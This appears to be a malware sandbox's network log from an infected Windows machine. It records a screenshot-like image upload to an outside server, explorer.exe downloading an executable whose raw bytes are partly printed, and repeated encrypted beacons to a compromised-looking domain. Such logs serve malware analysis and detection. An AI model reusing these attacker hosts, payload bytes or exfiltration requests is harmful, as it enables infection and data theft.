Aug 21, 2021 21:47:06.952889919 CEST	17918	OUT	Data Raw: 27 98 4a e8 a8 9c 10 a0 2a 86 62 77 63 a7 71 59 9a 46 a1 65 a7 ea 5f da 37 7a 75 dc f7 49 72 b7 30 3d bd ef 92 55 81 ce 18 ec 6d c3 38 e9 b4 f5 e7 9e 2e b7 8b 2e 2e ad a2 b3 be d3 92 5b 13 1c ab 73 6e 92 6c 0e ef 33 ca b2 47 c1 f2 d9 0c 98 1f 7b Data Ascii: 'JbwcqYFe_7zuIr0=Um8...[snl3G{"]kw)_\;sz}zc8R($;QEsJhKN(!h.E:N5UQM<QM!M<p9iIKTHN)HAp5i
Aug 21, 2021 21:47:06.952944994 CEST	17933	OUT	Data Raw: 53 80 a9 b9 42 8a 75 20 14 a0 54 b2 d2 14 0a 78 14 d0 29 e2 a5 96 87 01 c5 71 5f 10 4f fc 4b a3 ff 00 ae a3 f9 1a ed 85 70 ff 00 10 4f fc 4b d3 fe bb 0f e5 4e 9e e5 75 47 8f d2 d2 62 9a 78 ae 23 d9 1d 46 69 33 9a 28 b8 0e 1d 28 14 0a 4a 60 3a 93 Data Ascii: SBu Tx)q_OKpOKNuGbx#Fi3((J`:-LQKE s/5&O+=,kBu];blx2pO~9[!yEGe)i-}iQL{Oo_/5_?7gSsh\|
Aug 21, 2021 21:47:07.150294065 CEST	17980	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	49769	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:47:08.317249060 CEST	17981	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507 Host: 185.215.113.206 Content-Length: 106037 Cache-Control: no-cache
Aug 21, 2021 21:47:08.317357063 CEST	17981	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 37 66 61 30 61 39 32 38 35 35 30 38 63 62 37 65 36 65 65 37 35 38 30 30 30 32 65 33 35 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------17fa0a9285508cb7e6ee7580002e3507Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:47:08.317523003 CEST	17991	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:47:08.317605019 CEST	17994	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:47:08.375339031 CEST	17997	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:47:08.376960039 CEST	18000	OUT	Data Raw: 02 96 9a 10 98 a2 96 8e d4 00 c1 4e a2 96 8b 05 c4 a2 9c 06 68 c7 34 00 94 b8 a3 14 e0 29 d8 57 1b 8a 31 4e a2 81 5c 6e 28 c5 3b 14 76 a7 60 b8 dc 51 8a 7e 28 c5 16 0b 8d c5 2e 29 71 4b 8a 2c 17 1b 8a 31 4e a3 14 ec 2b 8d c7 b5 18 a7 62 8a 02 e3 Data Ascii: Nh4)W1N\n(;v`Q~(.)qK,1N+bqF)qHE&=XwP)X.7SF).3bJV&)X.3`SF(\m%)b%bf(:E\mKIV*B)R7Z(/4AqbC@&)QN"c{F(a@ )q
Aug 21, 2021 21:47:08.378412962 CEST	18002	OUT	Data Raw: 31 45 2d 18 a6 21 28 a5 c5 00 51 60 b8 94 98 a7 62 8a 02 e2 51 4b 49 de 81 90 8a ee 6c f5 5b 06 f0 fe 89 a6 c7 25 94 1a 9b 69 97 71 45 a8 bc f8 6b 67 69 a5 3e 5b 82 db 14 3a 12 b9 2a 08 de 0e 40 ae 26 93 62 93 d2 b0 a9 4f 9e 3c bf d6 cd 7e a6 d0 Data Ascii: 1E-!(Q`bQKIl[%iqEkgi>[:*@&bO<~z@kKX-]m<E-K%/A3\| ji_Qh0J{9m(o2yyKPtMZVF(PmX2F0 #lmI\\
Aug 21, 2021 21:47:08.378690004 CEST	18008	OUT	Data Raw: aa 1a a3 88 96 d6 56 47 64 49 b2 db 10 b9 c1 47 1d 00 27 a9 15 cd 9f 02 68 4a aa fa c5 e4 f7 97 4f d6 6b 9b 92 a5 8f b0 cf f8 d4 53 dc e9 9f 0f d9 d4 5e ea 17 5e 7a 66 1b 06 7d e1 00 ea c0 e3 81 fe 79 ec 96 1e 13 f7 69 c9 b7 e9 ff 00 04 4f 11 38 Data Ascii: VGdIG'hJOkS^^zf}yiO8{"y_X[ Ku.I8j_nZn}4\|ZPoBRJbpKE%()qARQE REQJ(QLKEZJZbQ@((P
Aug 21, 2021 21:47:08.378722906 CEST	18013	OUT	Data Raw: 62 9f 2e e0 40 0c 70 3a 11 cc 58 6b 1a 86 97 04 96 f6 b2 40 d6 f2 30 76 82 e6 da 3b 88 f7 01 80 c1 24 56 50 d8 e3 20 67 1c 55 bb 8f 15 ea b7 1a 9c fa 8a ad ac 57 17 51 aa 5e 0f 2b cd 8a e8 8e 8d 24 52 97 4c 8c 0c 00 a0 0c 70 05 69 2a 73 d9 7f 5e Data Ascii: b.@p:Xk@0v;$VP gUWQ^+$RLpi*s^DFp^fZkC-,w1P9(q\%T%i#zm5u:Py7PGPyy/`5,,Y:UKm9GaH`z]vOy
Aug 21, 2021 21:47:08.378746986 CEST	18015	OUT	Data Raw: 56 b9 4b 76 ed 47 d9 2d cf 4e 2a 7d 8b e8 c7 ed d7 54 64 d1 5a a7 4f 8c f4 6a 8c e9 87 b3 0a 5e c6 61 ed a0 67 62 8c 55 e3 a7 4a 07 1c d3 0d 94 c3 f8 4d 2f 65 25 d0 a5 52 2f a9 54 75 a5 a9 8d bc 8b fc 27 f2 a8 ca 30 ec 69 72 b4 57 32 63 45 2d 1b Data Ascii: VKvG-N}TdZOj^agbUJM/e%R/Tu'0irW2cE-M.+((bSINBa@ipMSDiE%(M(RR"Ci1OCmjmmC\T])r2""&6aG6ir1QV69
Aug 21, 2021 21:47:08.378782034 CEST	18020	OUT	Data Raw: 79 81 4b 45 25 02 3d 0b e0 ef fc 8e d0 7f c0 bf f4 5c 95 f4 05 fe a3 0e 9e 91 99 03 bc 92 b6 d8 e2 8d 72 ce 71 9e 3f 01 d4 e0 0f 5a f9 ff 00 e0 ef fc 8e d0 7f c0 bf f4 5c 95 ef 1a ed 9e 97 71 a7 49 71 ab c7 9b 6b 44 69 99 b7 30 d8 a1 4e e3 f2 f2 Data Ascii: yKE%=\rq?Z\qIqkDi0NF3z+{j(J~ab;-Swk6dBK~c[w214Y#m$y9?3V1k(1[rNX*tCRwx~X3np{:DnHW
Aug 21, 2021 21:47:08.692539930 CEST	18090	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49710	45.138.172.28	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:58.140116930 CEST	1384	OUT	GET /blog/images/sefile.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 45.138.172.28
Aug 21, 2021 21:45:58.168387890 CEST	1385	IN	HTTP/1.1 200 OK Date: Sat, 21 Aug 2021 19:45:58 GMT Server: Apache/2.4.37 (centos) Last-Modified: Sat, 21 Aug 2021 19:30:02 GMT ETag: "55200-5ca16cf723817" Accept-Ranges: bytes Content-Length: 348672 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 df 57 1e 39 9b 36 70 6a 9b 36 70 6a 9b 36 70 6a 85 64 e5 6a 8a 36 70 6a 85 64 f3 6a f7 36 70 6a 85 64 f4 6a ad 36 70 6a bc f0 0b 6a 9c 36 70 6a 9b 36 71 6a 15 36 70 6a 85 64 fa 6a 9a 36 70 6a 85 64 e4 6a 9a 36 70 6a 85 64 e1 6a 9a 36 70 6a 52 69 63 68 9b 36 70 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ec ff 1e 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ca 01 00 00 2a fb 01 00 00 00 00 60 21 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 fc 01 00 04 00 00 6a 01 06 00 03 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 5a 02 00 50 00 00 00 00 20 fb 01 d0 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 c9 01 00 00 10 00 00 00 ca 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9e 86 00 00 00 e0 01 00 00 88 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c a2 f8 01 00 70 02 00 00 28 02 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 d2 00 00 00 20 fb 01 00 d4 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 25 d8 e0 41 00 cc cc cc Data Ascii: MZ@!L!This program cannot be run in DOS mode.$W96pj6pj6pjdj6pjdj6pjdj6pjj6pj6qj6pjdj6pjdj6pjdj6pjRich6pjPEL_*`!@jZP PhQ@.text@ `.rdata@@.datap(V@.rsrc ~@@%A
Aug 21, 2021 21:45:58.168431997 CEST	1387	IN	Data Raw: cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 40 83 7d 0c 00 75 1c 83 7d 10 00 76 16 83 7d 08 00 74 09 8b 45 08 c7 00 00 00 00 00 33 c0 e9 d1 02 00 00 83 7d 08 00 74 09 8b 4d 08 c7 01 ff ff ff ff ba ff ff ff 7f 3b 55 10 1b c0 83 c0 01 89 45 ec 75 1e Data Ascii: U@}u}v}tE3}tM;UEuhHAjjJhAj9u}u0l9jjJhAhAhHA6\URMUM]xM~C}t}vURjEP58
Aug 21, 2021 21:45:58.168469906 CEST	1388	IN	Data Raw: 83 79 08 00 74 61 8b 55 08 83 7a 04 00 74 4c 8b 45 08 8b 48 04 51 e8 32 59 00 00 83 c4 04 83 c0 01 89 45 fc 8b 55 fc 52 e8 10 01 00 00 83 c4 04 8b 4d f8 89 41 04 8b 55 f8 83 7a 04 00 74 1a 8b 45 08 8b 48 04 51 8b 55 fc 52 8b 45 f8 8b 48 04 51 e8 Data Ascii: ytaUztLEHQ2YEURMAUztEHQUREHQVUBEMQPE]UQME\|AMytUBPy]UQMExtMAA]UjjEPX]
Aug 21, 2021 21:45:58.168509007 CEST	1389	IN	Data Raw: 45 f8 8b 08 c6 01 00 33 d2 81 e2 ff 00 00 00 89 55 c8 8b 45 f8 8b 08 83 c1 01 8b 55 f8 89 0a eb 11 8b 45 f8 50 6a 00 e8 e7 67 00 00 83 c4 08 89 45 c8 83 7d c8 ff 74 56 8b 4d f8 8b 51 04 83 ea 01 8b 45 f8 89 50 04 8b 4d f8 83 79 04 00 7c 22 8b 55 Data Ascii: E3UEUEPjgE}tVMQEPMy\|"U3MUMURjgE}tE 3MUfDJEx}]UEPMQUREPMQhP@E}}EUU
Aug 21, 2021 21:45:58.168546915 CEST	1391	IN	Data Raw: 8b 4d e4 8b 51 14 81 e2 ff ff 00 00 83 fa 04 74 41 8b 45 e4 83 78 14 01 74 38 8b 4d e4 8b 51 14 81 e2 ff ff 00 00 83 fa 02 74 27 8b 45 e4 83 78 14 03 74 1e 68 a8 e5 41 00 6a 00 6a 34 68 40 e5 41 00 6a 02 e8 50 2a 00 00 83 c4 14 83 f8 01 75 01 cc Data Ascii: MQtAExt8MQt'ExthAjj4h@AjPuUBPMQwEjMdY_^[]UQ3}E}uh\AjjGhAj)u}u_)jjGhAhAh\A
Aug 21, 2021 21:45:58.168596983 CEST	1392	IN	Data Raw: c0 75 0d 8b 4d 1c c7 01 0c 00 00 00 33 c0 eb 02 eb a3 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 b0 53 42 00 68 70 80 40 00 64 a1 00 00 00 00 50 83 c4 e4 53 56 57 a1 e4 77 42 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 c7 Data Ascii: uM3]UjhSBhp@dPSVWwB1E3PEdEEjE=,DvU,D9Du6u!hAjhyhAj$uDDD0pBE=4pBtM;4pBu=4zBt
Aug 21, 2021 21:45:58.168641090 CEST	1393	IN	Data Raw: 04 c7 45 fc 00 00 00 00 6a 01 8b 45 18 50 8b 4d 14 51 8b 55 10 52 8d 45 0c 50 8b 4d 08 51 e8 42 00 00 00 83 c4 18 89 45 e4 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 0b 6a 04 e8 d7 81 00 00 83 c4 04 c3 8b 45 e4 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e Data Ascii: EjEPMQUREPMQBEEjEMdY_^[]UEEM}uUREPMQURN}t}uEPMQ3=,DvV,D9Du6$u!hAjhh
Aug 21, 2021 21:45:58.168678999 CEST	1395	IN	Data Raw: 75 08 8b 55 f0 3b 55 f4 74 21 68 e8 e8 41 00 6a 00 68 83 03 00 00 68 90 e7 41 00 6a 02 e8 c9 1a 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d f0 3b 4d f4 74 06 83 7d f8 00 74 08 8b 45 ec e9 df 00 00 00 8b 55 f0 83 3a 00 74 10 8b 45 f0 8b 08 8b 55 f0 8b Data Ascii: uU;Ut!hAjhhAjuM;Mt}tEU:tEUBA8D;Mt!hAjhhAjouEHDUztEHU7D;Mt!h\|AjhhAjuED=DtDE
Aug 21, 2021 21:45:58.168716908 CEST	1396	IN	Data Raw: 14 02 75 0d 83 7d 0c 01 75 07 c7 45 0c 02 00 00 00 8b 4d fc 8b 51 14 3b 55 0c 74 21 68 14 ec 41 00 6a 00 68 72 05 00 00 68 90 e7 41 00 6a 02 e8 7d 15 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d fc 8b 15 24 96 44 00 2b 51 10 89 15 24 96 44 00 a1 28 70 Data Ascii: u}uEMQ;Ut!hAjhrhAj}uM$D+Q$D(pBM9tUMQP6D;Et!hAjhhAjuUBDMytUBM5D;Et!hAjhhAjuU
Aug 21, 2021 21:45:58.168756008 CEST	1398	IN	Data Raw: 75 18 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 8b 14 8d bc e6 41 00 89 55 d4 eb 07 c7 45 d4 58 f1 41 00 6a 04 0f b6 05 38 70 42 00 50 8b 4d e4 83 c1 1c 51 e8 d0 fd ff ff 83 c4 0c 85 c0 75 7a 8b 55 e4 83 7a 08 00 74 3d 8b 45 e4 8b 48 0c 51 8b 55 e4 8b Data Ascii: uEHAUEXAj8pBPMQuzUzt=EHQUBPM QUBPMQhAjjjjN(u-E PMQREPhAjjjj uEj8pBREHUD P2uzMyt=UBPMQR
Aug 21, 2021 21:45:58.196630001 CEST	1399	IN	Data Raw: 24 f4 41 00 68 48 f4 41 00 e8 5f 08 00 00 83 c4 14 e9 6d 01 00 00 6a 04 e8 d0 6c 00 00 83 c4 04 c7 45 fc 00 00 00 00 8b 55 08 a1 1c 96 44 00 89 02 c7 45 e4 00 00 00 00 eb 09 8b 4d e4 83 c1 01 89 4d e4 83 7d e4 05 7d 1e 8b 55 e4 8b 45 08 c7 44 90 Data Ascii: $AhHA_mjlEUDEMM}}UEDMUDDEMU}EH\|fUB%}VMQELUB%ULEHUDMAUJUD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49711	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:59.348068953 CEST	1746	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 170 Host: atvcampingtrips.com
Aug 21, 2021 21:45:59.348110914 CEST	1746	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 09 6b 2c 90 f4 76 0b 75 48 2a ac f1 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA ,[k,vuHN9Xge/s'bU8!Twd{C}6&5R0b
Aug 21, 2021 21:46:00.057843924 CEST	1747	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49713	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:00.335680008 CEST	1749	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: atvcampingtrips.com
Aug 21, 2021 21:46:00.335717916 CEST	1749	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 55 0d f3 a9 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vuUR.f_gm&[$+JU2!uE9(Aly>*
Aug 21, 2021 21:46:01.035336971 CEST	1809	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49715	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:01.247817039 CEST	1834	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: atvcampingtrips.com
Aug 21, 2021 21:46:01.247946978 CEST	1834	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 44 14 e6 87 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vuDR1E{t0ZL+Un3gX9zCL3=1?2JJi'x{D8B5ySyka9A0F/%%PBdcA^[
Aug 21, 2021 21:46:01.948211908 CEST	1929	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 